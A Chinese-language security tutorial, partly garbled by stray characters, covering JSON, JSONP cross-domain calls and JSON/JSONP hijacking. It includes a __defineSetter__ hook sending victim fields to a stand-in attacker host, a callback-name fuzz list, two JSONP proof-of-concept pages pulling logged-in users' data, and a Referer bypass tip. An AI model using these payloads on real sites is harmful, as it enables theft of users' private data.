json以及jsonp
前言?
JSONP全名為JSON with Padding组民,其存在的意義便有繞過(guò)諸如同源策略強(qiáng)制執(zhí)行XMLHttpRequest(AJAX requests)骏全。是基于 JSON 格式的為解決跨域請(qǐng)求資源而產(chǎn)生的解決方案。他實(shí)現(xiàn)的基本原理是利用了 HTML 里 元素標(biāo)簽,遠(yuǎn)程調(diào)用 JSON 文件來(lái)實(shí)現(xiàn)數(shù)據(jù)傳遞棒旗。如要在 a.com 域下獲取存在 b.com 的 JSON 數(shù)據(jù)( getUsers.JSON ):
JSONP(JSON with Padding)是一個(gè)非官方的協(xié)議侧但,它允許在服務(wù)器端集成Script tags返回至客戶(hù)端,通過(guò)javascript callback的形式實(shí)現(xiàn)跨域訪問(wèn)(這僅僅是JSONP簡(jiǎn)單的實(shí)現(xiàn)形式)胧后。
JSONP注入是一個(gè)不太常見(jiàn)但影響非常廣泛且極危險(xiǎn)的漏洞,由于最近幾年對(duì)JSON, web APIs以及跨域通信的需求增多抱环,不得不引起我們的重視壳快。
json基礎(chǔ)?
JSON能夠以非常簡(jiǎn)單的方式來(lái)描述數(shù)據(jù)結(jié)構(gòu),XML能做的它都能做镇草,因此在跨平臺(tái)方面兩者完全不分伯仲眶痰。
1、JSON只有兩種數(shù)據(jù)類(lèi)型描述符梯啤,大括號(hào){}和方括號(hào)[]竖伯,其余英文冒號(hào):是映射符,英文逗號(hào),是分隔符因宇,英文雙引號(hào)”“是定義符七婴。
2、大括號(hào){}用來(lái)描述一組“不同類(lèi)型的無(wú)序鍵值對(duì)集合”(每個(gè)鍵值對(duì)可以理解為OOP的屬性描述)察滑,方括號(hào)[]用來(lái)描述一組“相同類(lèi)型的有序數(shù)據(jù)集合”(可對(duì)應(yīng)OOP的數(shù)組)打厘。
3、上述兩種集合中若有多個(gè)子項(xiàng)贺辰,則通過(guò)英文逗號(hào),進(jìn)行分隔户盯。
4、鍵值對(duì)以英文冒號(hào):進(jìn)行分隔饲化,并且建議鍵名都加上英文雙引號(hào)”“莽鸭,以便于不同語(yǔ)言的解析。
5吃靠、JSON內(nèi)部常用數(shù)據(jù)類(lèi)型無(wú)非就是字符串硫眨、數(shù)字、布爾巢块、日期礁阁、null 這么幾個(gè),字符串必須用雙引號(hào)引起來(lái)夕冲,其余的都不用氮兵,日期類(lèi)型比較特殊,這里就不展開(kāi)講述了歹鱼,只是建議如果客戶(hù)端沒(méi)有按日期排序功能需求的話泣栈,那么把日期時(shí)間直接作為字符串傳遞就好,可以省去很多麻煩。
json實(shí)例?
????// 描述一個(gè)人?
????var person = {
????????"Name": "Bob",?
????????"Age": 32,?
????????"Company": "IBM",?
????????"Engineer": true }?
????// 獲取這個(gè)人的信息?
????var personAge = person.Age;?
????// 描述幾個(gè)人?
????var members = [?
????{?
????????"Name": "Bob",?
????????"Age": 32,?
????????"Company": "IBM",?
????????"Engineer": true?
????},?
????{?
????????"Name": "John",?
????????"Age": 20,?
????????"Company": "Oracle",?
????????"Engineer": false?
????},
?????{
?????????"Name": "Henry",?
????????"Age": 45,
?????????"Company": "Microsoft",
"Engineer": false
????}
?????????????????]?
????// 讀取其中John的公司名稱(chēng)?
????var johnsCompany = members[1].Company;?
????// 描述一次會(huì)議?
????var conference = {?
????"Conference": "Future Marketing",?
????"Date": "2012-6-1",?
????"Address": "Beijing",?
????"Members":?
????[?
????????{?
????????????"Name": "Bob",?
????????????"Age": 32,?
????????????"Company": "IBM",?
????????????"Engineer": true
?????????},?
????????{?
????????????"Name": "John",?
????????????"Age": 20,?
????????????"Company": "Oracle",?
????????????"Engineer": false?
????????},?
????????{?
????????????"Name": "Henry",?
????????????"Age": 45,?
????????????"Company": "Microsoft",?
????????????"Engineer": false?
????????}?
????]?
????????????????}?
????// 讀取參會(huì)者Henry是否工程師?
????var henryIsAnEngineer = conference.Members[2].Engineer;
什么是jsonp?
1南片、一個(gè)眾所周知的問(wèn)題掺涛,Ajax直接請(qǐng)求普通文件存在跨域無(wú)權(quán)限訪問(wèn)的問(wèn)題,甭管你是靜態(tài)頁(yè)面疼进、動(dòng)態(tài)網(wǎng)頁(yè)薪缆、web服務(wù)、WCF伞广,只要是跨域請(qǐng)求拣帽,一律不準(zhǔn)型奥;
2淡诗、不過(guò)我們又發(fā)現(xiàn)蠢沿,Web頁(yè)面上調(diào)用js文件時(shí)則不受是否跨域的影響(不僅如此籍茧,我們還發(fā)現(xiàn)凡是擁有”src”這個(gè)屬性的標(biāo)簽都擁有跨域的能力,比如script砍濒、img铐懊、iframe)朽缴;
3沧侥、于是可以判斷可霎,當(dāng)前階段如果想通過(guò)純web端(ActiveX控件、服務(wù)端代理宴杀、屬于未來(lái)的HTML5之Websocket等方式不算)跨域訪問(wèn)數(shù)據(jù)就只有一種可能癣朗,那就是在遠(yuǎn)程服務(wù)器上設(shè)法把數(shù)據(jù)裝進(jìn)js格式的文件里,供客戶(hù)端調(diào)用和進(jìn)一步處理婴氮;
4斯棒、恰巧我們已經(jīng)知道有一種叫做JSON的純字符數(shù)據(jù)格式可以簡(jiǎn)潔的描述復(fù)雜數(shù)據(jù)盾致,更妙的是JSON還被js原生支持主经,所以在客戶(hù)端幾乎可以隨心所欲的處理這種格式的數(shù)據(jù);
5庭惜、這樣子解決方案就呼之欲出了罩驻,web客戶(hù)端通過(guò)與調(diào)用腳本一模一樣的方式,來(lái)調(diào)用跨域服務(wù)器上動(dòng)態(tài)生成的js格式文件(一般以JSON為后綴)护赊,顯而易見(jiàn)惠遏,服務(wù)器之所以要?jiǎng)討B(tài)生成JSON文件,目的就在于把客戶(hù)端需要的數(shù)據(jù)裝入進(jìn)去骏啰。??(重點(diǎn)--簡(jiǎn)而言之节吮。我們要加載遠(yuǎn)程文件而js又可以跨域,那么我們跨域調(diào)用遠(yuǎn)程js文件判耕,便可以實(shí)現(xiàn)同源策略之下的跨域)
6透绩、客戶(hù)端在對(duì)JSON文件調(diào)用成功之后,也就獲得了自己所需的數(shù)據(jù),剩下的就是按照自己需求進(jìn)行處理和展現(xiàn)了帚豪,這種獲取遠(yuǎn)程數(shù)據(jù)的方式看起來(lái)非常像AJAX碳竟,但其實(shí)并不一樣。
7狸臣、為了便于客戶(hù)端使用數(shù)據(jù)莹桅,逐漸形成了一種非正式傳輸協(xié)議,人們把它稱(chēng)作JSONP烛亦,該協(xié)議的一個(gè)要點(diǎn)就是允許用戶(hù)傳遞一個(gè)callback參數(shù)給服務(wù)端诈泼,然后服務(wù)端返回?cái)?shù)據(jù)時(shí)會(huì)將這個(gè)callback參數(shù)作為函數(shù)名來(lái)包裹住JSON數(shù)據(jù),這樣客戶(hù)端就可以隨意定制自己的函數(shù)來(lái)自動(dòng)處理返回?cái)?shù)據(jù)了煤禽。
jsonp跨域?qū)嵗?/h2>
前端
jsonp.html
????<!DOCTYPE html>?
????<html>
????<body>
????<p>jsonp測(cè)試頁(yè)面</p>
????<meta charset="utf-8"??content="text/html; charset=gb2312"/>
????<head> <title></title> <script type="text/javascript">
????????// 得到航班信息查詢(xún)結(jié)果后的回調(diào)函數(shù)
????????var flightHandler = function(data){
????????????alert('你查詢(xún)的航班結(jié)果是:票價(jià) ' + data.price + ' 元厂汗,' + '余票 ' + data.tickets + ' 張。');
????????};
????????// 提供jsonp服務(wù)的url地址(不管是什么類(lèi)型的地址呜师,最終生成的返回值都是一段javascript代碼)
????????var url = "http://127.0.0.1/999.js?code=CA1998&callback=flightHandler";//這里我們直接寫(xiě)在了js里傳參娶桦,很多是在get的方式url里傳參,而不是固定好了的汁汗。
????????// 創(chuàng)建script標(biāo)簽衷畦,設(shè)置其屬性
????????var script = document.createElement('script');
????????script.setAttribute('src', url);
????????// 把script標(biāo)簽加入head,此時(shí)調(diào)用開(kāi)始
????????document.getElementsByTagName('head')[0].appendChild(script);?
????</body>
????</html>
后端則有一個(gè)規(guī)則生成了一段這樣的代碼提供給jsonp.html(服務(wù)端的實(shí)現(xiàn)這里就不演示了知牌,與你選用的語(yǔ)言無(wú)關(guān)祈争,說(shuō)到底就是拼接字符串):
示例固定的寫(xiě)一個(gè)json
????flightHandler({
"code": "CA1998",
"price": 1780,
"tickets": 5
????});
效果:
通過(guò)上述描述可以知道,若想實(shí)現(xiàn)JSONP角寸,除了前端部分之外菩混,還需要后端的配合,后端需返回符合JSONP要求的數(shù)據(jù)扁藕。
比如java可以這樣寫(xiě):
????Map<String,String> map = new HashMap<String,String>();??
????map.put("result", "content");??
????String resultJSON = JSONObject.toJSONString(map);???
????try {???
????????PrintWriter out = response.getWriter();???
????????String jsonpCallback = request.getParameter("jsonpCallback");//回調(diào)函數(shù)???
????????out.println(jsonpCallback+"("+resultJSON+")");//返回jsonp格式數(shù)據(jù) 沮峡,要用callback包裝下??
????????out.flush();???
????????out.close();???
????}?
????catch (Exception e)???
????{ e.printStackTrace(); }??
json劫持?
原理
(1).你正常訪問(wèn)信任站點(diǎn)(http://www.Bank.com),然后登陸信任站點(diǎn)亿柑。
(2).信任站點(diǎn)通過(guò)你的驗(yàn)證邢疙,并返回Cookie。
(3).這時(shí)望薄,在你還沒(méi)有登出信任站點(diǎn)之前疟游,你再打開(kāi)了一個(gè)瀏覽器的tab頁(yè),并訪問(wèn)了一個(gè)惡意站點(diǎn)(www.BadGuy.com)痕支。
(4).惡意站點(diǎn)向請(qǐng)求用戶(hù)訪問(wèn)http://www.Bank.com的一個(gè)資源颁虐。
(5).瀏覽器帶著之前的Cookie信息,向信任站點(diǎn)http://www.Bank.com發(fā)出了一個(gè)GET請(qǐng)求卧须。
(6).信任站點(diǎn)驗(yàn)證的Cookie信息通過(guò)另绩,根據(jù)請(qǐng)求返回一個(gè)JSON數(shù)組(如果不清楚JSON瞬痘,可以參考《JSON入門(mén)指南》)。
(7).你的瀏覽器收到來(lái)自http://www.Bank.com的響應(yīng)后板熊,轉(zhuǎn)發(fā)響應(yīng)中的JSON信息給惡意站點(diǎn)框全。
至此,惡意站點(diǎn)拿到你關(guān)于http://www.Bank.com的信息干签。
到這里津辩,你應(yīng)該有對(duì)JavaScript Hijacking有一個(gè)大概的概念,它確實(shí)和CSRF很相像容劳,唯一不同的是喘沿,CSRF是模擬你的身份去發(fā)送請(qǐng)求,JavaScript Hijacking是模擬你的身份竭贩,竊取你在服務(wù)器上的私隱信息蚜印。
JavaScript Hijacking攻擊示范代碼:
演示代碼之前,首先明確幾點(diǎn):
(1).惡意站點(diǎn)的攻擊目標(biāo)是明確的(這里目標(biāo)就是http://www.Bank.com)留量。
(2).惡意站點(diǎn)是通過(guò)用戶(hù)給它返回信任網(wǎng)站的JSON數(shù)組(為什么是JSON數(shù)組窄赋?普通的JSON對(duì)象不行么?這個(gè)下面會(huì)提到Bハā)忆绰,從而獲取用戶(hù)私隱信息的。也就是說(shuō)所謂的隱私數(shù)據(jù)可岂,也就是這些JSON數(shù)組里面的數(shù)據(jù)错敢,所以信任站點(diǎn)返回的不是JSON數(shù)組的數(shù)據(jù)或者JSON里面的信息是垃圾信息,那么這個(gè)惡意站點(diǎn)是徒勞的缕粹。
(3).惡意站點(diǎn)必須實(shí)先知道用戶(hù)返回的JSON的結(jié)構(gòu)稚茅。
(4).惡意站點(diǎn)能且只能發(fā)送GET請(qǐng)求......
(5).這種攻擊是需要瀏覽器支持的,至于為什么看下面吧平斩。
恩亚享,下面看一下攻擊代碼吧:>
這個(gè)惡意站點(diǎn)www.BadGuy.com針對(duì)www.Bank.com的攻擊代碼:
????<script type="text/javascript">
????Object.prototype.__defineSetter__('money', function(obj) { var objString = "";??for (fld in this) {objString += fld + ": " + this[fld] + ", "; }??req.open("GET", "http://www.BadGuy.com?obj=" +escape(objString),true); } req.send(null); );
????</script>
????<script type="text/javascript" src="http://www.Bank.com/UserInfo"></script>
在用戶(hù)訪問(wèn)惡意網(wǎng)站時(shí):
????<script type="text/javascript" src="http://www.Bank.com/UserInfo"></script>
(1).這段JS代碼會(huì)要求瀏覽器發(fā)送一個(gè)GET請(qǐng)求到http://www.Bank.com/UserInfo,于是瀏覽器按照指示双戳,帶上本地的Cookie信息虹蒋,發(fā)送一個(gè)http的GET請(qǐng)求。
(2).www.Bank.Com接受到請(qǐng)求后飒货,確認(rèn)身份后,響應(yīng)請(qǐng)求返回了一個(gè)JSON數(shù)組/JavaScript代碼段峭竣。
(3).客戶(hù)端接受到這段JS腳本后塘辅,如果返回的是一個(gè)JSON數(shù)組,比如:
????[{"Id":3,"Name":hyddd,"Money":10000}]
JSON數(shù)組被認(rèn)為是一段可執(zhí)行的JavaScript腳本皆撩,于是瀏覽器會(huì)解析執(zhí)行扣墩。
如果返回的是一個(gè)JSON對(duì)象呢哲银?
????{"Id":3,"Name":hyddd,"Money":10000}
呵呵,這個(gè)是不會(huì)被瀏覽器執(zhí)行的呻惕,因?yàn)闉g覽器認(rèn)為:它不是一個(gè)JavaScript腳本荆责。
如果它返回的是一個(gè)JavaScript腳本的話,恩亚脆,這得具體問(wèn)題具體分析了做院,不一定能拿到什么數(shù)據(jù)。
(4).看下面這段JavaScript腳本:
????<script type="text/javascript">
????Object.prototype.__defineSetter__('Money', function(obj) { var objString = "";??for (fld in this) {objString += fld + ": " + this[fld] + ", "; }??req.open("GET", "http://www.BadGuy.com?obj"= +escape(objString),true); } req.send(null); );
????</script>
它的作用就是發(fā)送受害者的私隱信息到惡意站點(diǎn)的濒持。
這里可能有人不理解键耕,我大概說(shuō)一下:
Object.prototype.__defineSetter__,可以看做是JavaScript中的Hook(有人把這個(gè)稱(chēng)為JavaScript函數(shù)劫持柑营,注意JavaScript的函數(shù)劫持和JavaScript Hijacking不是同一個(gè)概念屈雄,JavaScript Hijacking的核心思想和CSRF攻擊的核心思想應(yīng)該是一致的),這里是對(duì)Object的Money屬性設(shè)置了一個(gè)Hook官套,在JavaScript中酒奶,由于其他的對(duì)象都是派生自O(shè)bject的,所以這段代碼就對(duì)所有對(duì)象的Money屬性都做了一個(gè)Hook奶赔,當(dāng)有對(duì)象設(shè)置它的Money屬性時(shí)讥蟆,都會(huì)觸發(fā)上面這段代碼的運(yùn)行。注意的是:__defineSetter__這個(gè)在IE系列的瀏覽器好像是不受支持的(在IE6下試了不行)纺阔,但FireFox系列的瀏覽器是肯定支持的瘸彤。
后面的var objString=""...這就是發(fā)送受害者信息到惡意站點(diǎn)了,這里不說(shuō)了笛钝。
當(dāng)瀏覽器解析(3)中的JSON數(shù)組時(shí)质况,會(huì)新建一個(gè)對(duì)象并賦值,這時(shí)候就出發(fā)了上面這段代碼玻靡,結(jié)果私隱信息就發(fā)送到惡意站點(diǎn)了结榄。
通過(guò)
????Object.prototype.__defineSetter__
這個(gè)函數(shù)來(lái)觸發(fā)自己的惡意代碼。
但是這個(gè)函數(shù)在當(dāng)前的新版本chrome和firefox中都已經(jīng)失效了囤捻。
解決方法?
1臼朗、驗(yàn)證 HTTP Referer 頭信息;
2蝎土、在請(qǐng)求中添加 csrfToken 并在后端進(jìn)行驗(yàn)證视哑;
jsonp劫持
尋找jsonp的接口?
1.burp抓包,一般有jsonp的數(shù)據(jù)傳輸會(huì)在mimetype中顯示為script誊涯,通過(guò)排序可以快速得找到
2.火狐控制臺(tái)查找包
3.fuzz
如果jsonp的接口沒(méi)有敏感信息傳輸挡毅,json數(shù)據(jù)包中恰好有的話,我們可以嘗試一下程序員是否有開(kāi)發(fā)jsonp的格式暴构,大多數(shù)程序員喜歡把jsonp的回傳參數(shù)命名為callback
當(dāng)然還有其他的可能跪呈,字典用Intruder Fuzz一下試試:
????callback=attack
????cb=attack
????call=attack
????jsonp=attack
????jsonpcallback=attack
????jsonpcb=attack
????json=attack
????jsoncallback=attack
????jcb=attack
某云實(shí)例?
復(fù)制到url里便可以檢驗(yàn)是否存在jsonp接口漏洞段磨。
修改callback原函數(shù)便可將json數(shù)據(jù)全部顯示出來(lái),一些敏感信息耗绿。
poc
????<script>
????function peiqi(json){
????????alert(json.result.pin)
????}
????</script>
????<script src="https://xx.xx.xx.xx/menu/getUserMenu?callback=peiqi"></script>
poc可以繼續(xù)構(gòu)造制定發(fā)送到自己的頁(yè)面苹支,可見(jiàn)jsonp的原理與csrf基本為一致的,利用用戶(hù)的身份來(lái)做一些事情误阻,或者發(fā)送自己的信息給別人债蜜,
某X jsonp
POC
????<script>
????function peiqi(json){
????????alert(json.userName)
????}
????</script>
????<script src="http://XX.XXXXX.com/checkLogin?callback=peiqi&_=15436278817"></script>
目前挖掘jsonp 一般是F12 尋找callback函數(shù),推薦一款自動(dòng)檢測(cè)XSS jsonp的谷歌插件 XssSniper
繞過(guò)
一些對(duì)referer 進(jìn)行驗(yàn)證堕绩,但是有的時(shí)候空referer可以繞過(guò)驗(yàn)證策幼。
---
參考:https://blog.csdn.net/yjclsx/article/details/80340901
參考:http://www.cnblogs.com/hyddd/archive/2009/07/02/1515768.html
參考:https://shiyousan.com/post/635441704246553316